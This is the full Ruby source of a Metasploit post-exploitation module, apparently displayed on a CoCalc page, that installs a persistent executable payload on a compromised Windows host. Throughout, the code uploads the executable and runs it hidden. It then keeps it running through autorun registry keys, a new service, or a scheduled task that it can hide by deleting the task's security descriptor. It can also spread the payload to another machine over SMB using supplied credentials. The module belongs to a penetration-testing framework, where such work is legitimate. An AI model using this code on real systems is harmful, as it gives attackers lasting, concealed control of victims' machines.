CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::Common
8
  include Msf::Post::File
9
  include Msf::Post::Windows::Priv
10
  include Msf::Post::Windows::Registry
11
  include Msf::Post::Windows::Services
12
  include Msf::Post::Windows::TaskScheduler
13

14
  def initialize(info = {})
15
    super(
16
      update_info(
17
        info,
18
        'Name' => 'Windows Manage Persistent EXE Payload Installer',
19
        'Description' => %q{
20
          This Module will upload an executable to a remote host and make it Persistent.
21
          It can be installed as USER, SYSTEM, or SERVICE. USER will start on user login,
22
          SYSTEM will start on system boot but requires privs. SERVICE will create a new service
23
          which will start the payload. Again requires privs.
24
        },
25
        'License' => MSF_LICENSE,
26
        'Author' => [ 'Merlyn drforbin Cousins <drforbin6[at]gmail.com>' ],
27
        'Version' => '$Revision:1$',
28
        'Platform' => [ 'windows' ],
29
        'SessionTypes' => [ 'meterpreter'],
30
        'Compat' => {
31
          'Meterpreter' => {
32
            'Commands' => %w[
33
              core_channel_eof
34
              core_channel_open
35
              core_channel_read
36
              core_channel_write
37
              stdapi_sys_config_getenv
38
              stdapi_sys_config_sysinfo
39
              stdapi_sys_process_execute
40
            ]
41
          }
42
        },
43
        'Notes' => {
44
          'Stability' => [CRASH_SAFE],
45
          'Reliability' => [REPEATABLE_SESSION],
46
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
47
        }
48
      )
49
    )
50

51
    register_options(
52
      [
53
        OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM', 'SERVICE', 'TASK']]),
54
        OptPath.new('REXEPATH', [true, 'The remote executable to upload and execute.']),
55
        OptString.new('REXENAME', [true, 'The name to call exe on remote system', 'default.exe']),
56
        OptBool.new('RUN_NOW', [false, 'Run the installed payload immediately.', true]),
57
      ], self.class
58
    )
59

60
    register_advanced_options(
61
      [
62
        OptString.new('LocalExePath', [false, 'The local exe path to run. Use temp directory as default. ']),
63
        OptString.new('RemoteExePath', [
64
          false,
65
          'The remote path to move the payload to. Only valid when the STARTUP option is set '\
66
          'to TASK and the `ScheduleRemoteSystem` option is set. Use the same path than LocalExePath '\
67
          'if not set.'
68
        ], conditions: ['STARTUP', '==', 'TASK']),
69
        OptString.new('StartupName', [false, 'The name of service, registry or scheduled task. Random string as default.' ]),
70
        OptString.new('ServiceDescription', [false, 'The description of service. Random string as default.' ])
71
      ]
72
    )
73
  end
74

75
  # Run Method for when run command is issued
76
  #-------------------------------------------------------------------------------
77
  def run
78
    print_status("Running module against #{sysinfo['Computer']}")
79

80
    # Set vars
81
    rexe = datastore['REXEPATH']
82
    rexename = datastore['REXENAME']
83
    host, _port = session.tunnel_peer.split(':')
84
    @clean_up_rc = ''
85

86
    raw = create_payload_from_file rexe
87

88
    # Write script to %TEMP% on target
89
    script_on_target = write_exe_to_target(raw, rexename)
90

91
    # Initial execution of script
92
    target_exec(script_on_target) if datastore['RUN_NOW']
93

94
    case datastore['STARTUP'].upcase
95
    when 'USER'
96
      write_to_reg('HKCU', script_on_target)
97
    when 'SYSTEM'
98
      write_to_reg('HKLM', script_on_target)
99
    when 'SERVICE'
100
      install_as_service(script_on_target)
101
    when 'TASK'
102
      create_scheduler_task(script_on_target)
103
    end
104

105
    clean_rc = log_file
106
    file_local_write(clean_rc, @clean_up_rc)
107
    print_status("Cleanup Meterpreter RC File: #{clean_rc}")
108

109
    report_note(host: host,
110
                type: 'host.persistance.cleanup',
111
                data: {
112
                  local_id: session.sid,
113
                  stype: session.type,
114
                  desc: session.info,
115
                  platform: session.platform,
116
                  via_payload: session.via_payload,
117
                  via_exploit: session.via_exploit,
118
                  created_at: Time.now.utc,
119
                  commands: @clean_up_rc
120
                })
121
  end
122

123
  # Function for creating log folder and returning log path
124
  #-------------------------------------------------------------------------------
125
  def log_file(log_path = nil)
126
    # Get hostname
127
    if datastore['STARTUP'] == 'TASK' && @cleanup_host
128
      # Use the remote hostname when remote task creation is selected
129
      # Cleanup will have to be performed on this remote host
130
      host = @cleanup_host
131
    else
132
      host = session.sys.config.sysinfo['Computer']
133
    end
134

135
    # Create Filename info to be appended to downloaded files
136
    filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S')
137

138
    # Create a directory for the logs
139
    logs = if log_path
140
             ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))
141
           else
142
             ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))
143
           end
144

145
    # Create the log directory
146
    ::FileUtils.mkdir_p(logs)
147

148
    # logfile name
149
    logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + '.rc'
150
    logfile
151
  end
152

153
  # Function to execute script on target and return the PID of the process
154
  #-------------------------------------------------------------------------------
155
  def target_exec(script_on_target)
156
    print_status("Executing script #{script_on_target}")
157
    proc = session.sys.process.execute(script_on_target, nil, 'Hidden' => true)
158
    print_good("Agent executed with PID #{proc.pid}")
159
    @clean_up_rc << "kill #{proc.pid}\n"
160
    proc.pid
161
  end
162

163
  # Function to install payload in to the registry HKLM or HKCU
164
  #-------------------------------------------------------------------------------
165
  def write_to_reg(key, script_on_target)
166
    nam = datastore['StartupName'] || Rex::Text.rand_text_alpha(rand(8..15))
167
    print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
168
    if key
169
      registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", nam, script_on_target, 'REG_SZ')
170
      print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
171
      @clean_up_rc << "reg deleteval -k '#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{nam}'\n"
172
    else
173
      print_error('Error: failed to open the registry key for writing')
174
    end
175
  end
176

177
  # Function to install payload as a service
178
  #-------------------------------------------------------------------------------
179
  def install_as_service(script_on_target)
180
    if is_system? || is_admin?
181
      print_status('Installing as service..')
182
      nam = datastore['StartupName'] || Rex::Text.rand_text_alpha(rand(8..15))
183
      description = datastore['ServiceDescription'] || Rex::Text.rand_text_alpha(8)
184
      print_status("Creating service #{nam}")
185

186
      key = service_create(nam, path: "cmd /c \"#{script_on_target}\"", display: description)
187

188
      # check if service had been created
189
      if key != 0
190
        print_error("Service #{nam} creating failed.")
191
        return
192
      end
193

194
      # if service is stopped, then start it.
195
      service_start(nam) if datastore['RUN_NOW'] && service_status(nam)[:state] == 1
196

197
      @clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n"
198
    else
199
      print_error('Insufficient privileges to create service')
200
    end
201
  end
202

203
  # Function for writing executable to target host
204
  #-------------------------------------------------------------------------------
205
  def write_exe_to_target(rexe, rexename)
206
    # check if we have write permission
207
    # I made it by myself because the function filestat.writable? was not implemented yet.
208
    if !datastore['LocalExePath'].nil?
209

210
      begin
211
        temprexe = datastore['LocalExePath'] + '\\' + rexename
212
        write_file_to_target(temprexe, rexe)
213
      rescue Rex::Post::Meterpreter::RequestError
214
        print_warning("Insufficient privileges to write in #{datastore['LocalExePath']}, writing to %TEMP%")
215
        temprexe = session.sys.config.getenv('TEMP') + '\\' + rexename
216
        write_file_to_target(temprexe, rexe)
217
      end
218

219
    # Write to %temp% directory if not set LocalExePath
220
    else
221
      temprexe = session.sys.config.getenv('TEMP') + '\\' + rexename
222
      write_file_to_target(temprexe, rexe)
223
    end
224

225
    print_good("Persistent Script written to #{temprexe}")
226
    @clean_up_rc << "rm #{temprexe.gsub('\\', '\\\\\\\\')}\n"
227
    temprexe
228
  end
229

230
  def write_file_to_target(temprexe, rexe)
231
    fd = session.fs.file.new(temprexe, 'wb')
232
    fd.write(rexe)
233
    fd.close
234
  end
235

236
  # Function to create executable from a file
237
  #-------------------------------------------------------------------------------
238
  def create_payload_from_file(exec)
239
    print_status("Reading Payload from file #{exec}")
240
    File.binread(exec)
241
  end
242

243
  def move_to_remote(remote_host, script_on_target, remote_path)
244
    print_status("Moving payload file to the remote host (#{remote_host})")
245

246
    # Translate local path to remote path. Basically, change any "<drive letter>:" to "<drive letter>$"
247
    remote_path = remote_path.split('\\').delete_if(&:empty?)
248
    remote_exe = remote_path.pop
249
    remote_path[0].sub!(/^(?<drive>[A-Z]):/i, '\k<drive>$') unless remote_path.empty?
250
    remote_path.prepend(remote_host)
251
    remote_path = "\\\\#{remote_path.join('\\')}"
252
    cmd = "net use #{remote_path}"
253
    if datastore['ScheduleUsername'].present?
254
      cmd << " /user:#{datastore['ScheduleUsername']}"
255
      cmd << " #{datastore['SchedulePassword']}" if datastore['SchedulePassword'].present?
256
    end
257

258
    vprint_status("Executing command: #{cmd}")
259
    result = cmd_exec_with_result(cmd)
260
    unless result[1]
261
      print_error(
262
        'Unable to connect to the remote host. Check credentials, `RemoteExePath`, '\
263
        "`LocalExePath` and SMB version compatibility on both hosts. Error: #{result[0]}"
264
      )
265
      return false
266
    end
267

268
    # #move_file helper does not work when the target is a remote host and the session run as SYSTEM. It works with #cmd_exec.
269
    result = cmd_exec_with_result("move /y \"#{script_on_target}\" \"#{remote_path}\\#{remote_exe}\"")
270
    if result[1]
271
      print_good("Moved #{script_on_target} to #{remote_path}\\#{remote_exe}")
272
    else
273
      print_error("Unable to move the file to the remote host. Error: #{result[0]}")
274
    end
275

276
    result = cmd_exec_with_result("net use #{remote_path} /delete")
277
    unless result[1]
278
      print_warning("Unable to close the network connection with the remote host. This will have to be done manually. Error: #{result[0]}")
279
    end
280

281
    return !!result
282
  end
283

284
  TaskSch = Msf::Post::Windows::TaskScheduler
285

286
  def create_scheduler_task(script_on_target)
287
    unless is_system? || is_admin?
288
      print_error('Insufficient privileges to create a scheduler task')
289
      return
290
    end
291

292
    remote_host = datastore['ScheduleRemoteSystem']
293
    print_status("Creating a #{datastore['ScheduleType']} scheduler task#{" on #{remote_host}" if remote_host.present?}")
294

295
    if remote_host.present?
296
      remote_path = script_on_target
297
      if datastore['RemoteExePath'].present?
298
        remote_path = datastore['RemoteExePath'].split('\\').delete_if(&:empty?).join('\\')
299
        remote_path = "#{remote_path}\\#{datastore['REXENAME']}"
300
      end
301
      return false unless move_to_remote(remote_host, script_on_target, remote_path)
302

303
      @cleanup_host = remote_host
304
      @clean_up_rc = "rm #{remote_path.gsub('\\', '\\\\\\\\')}\n"
305
    end
306

307
    task_name = datastore['StartupName'].present? ? datastore['StartupName'] : Rex::Text.rand_text_alpha(rand(8..15))
308

309
    print_status("Task name: '#{task_name}'")
310
    if datastore['ScheduleObfuscationTechnique'] == 'SECURITY_DESC'
311
      print_status('Also, removing the Security Descriptor registry key value to hide the task')
312
    end
313
    if datastore['ScheduleRemoteSystem'].present?
314
      if Rex::Socket.dotted_ip?(datastore['ScheduleRemoteSystem'])
315
        print_warning(
316
          "The task will be created on the remote host #{datastore['ScheduleRemoteSystem']} and since "\
317
          'the FQDN is not used, it usually takes some time (> 1 min) due to some DNS resolution'\
318
          ' happening in the background'
319
        )
320
        if datastore['ScheduleObfuscationTechnique'] != 'SECURITY_DESC'
321
          print_warning(
322
            'Also, since the \'ScheduleObfuscationTechnique\' option is set to '\
323
            'SECURITY_DESC, it will take much more time to be executed on the '\
324
            'remote host for the same reasons (> 3 min). Don\'t Ctrl-C, even if '\
325
            'a session pops up, be patient or use a FQDN in `ScheduleRemoteSystem` option.'
326
          )
327
        end
328
      end
329
      @clean_up_rc = "# The 'rm' command won t probably succeed while you're interacting with the session\n"\
330
                     "# You should migrate to another process to be able to remove the payload file\n"\
331
                     "#{@clean_up_rc}"
332
    end
333

334
    begin
335
      task_create(task_name, remote_host.blank? ? script_on_target : remote_path)
336
    rescue TaskSchedulerObfuscationError => e
337
      print_warning(e.message)
338
      print_good('Task created without obfuscation')
339
    rescue TaskSchedulerError => e
340
      print_error("Task creation error: #{e}")
341
      return
342
    else
343
      print_good('Task created')
344
      if datastore['ScheduleObfuscationTechnique'] == 'SECURITY_DESC'
345
        @clean_up_rc << "reg setval -k '#{TaskSch::TASK_REG_KEY.gsub('\\') { '\\\\' }}\\\\#{task_name}' "\
346
                        "-v '#{TaskSch::TASK_SD_REG_VALUE}' "\
347
                        "-d '#{TaskSch::DEFAULT_SD}' "\
348
                        "-t 'REG_BINARY'#{" -w '64'" unless @old_os}\n"
349
      end
350
    end
351

352
    @clean_up_rc << "execute -H -f schtasks -a \"/delete /tn #{task_name} /f\"\n"
353
  end
354
end
355

356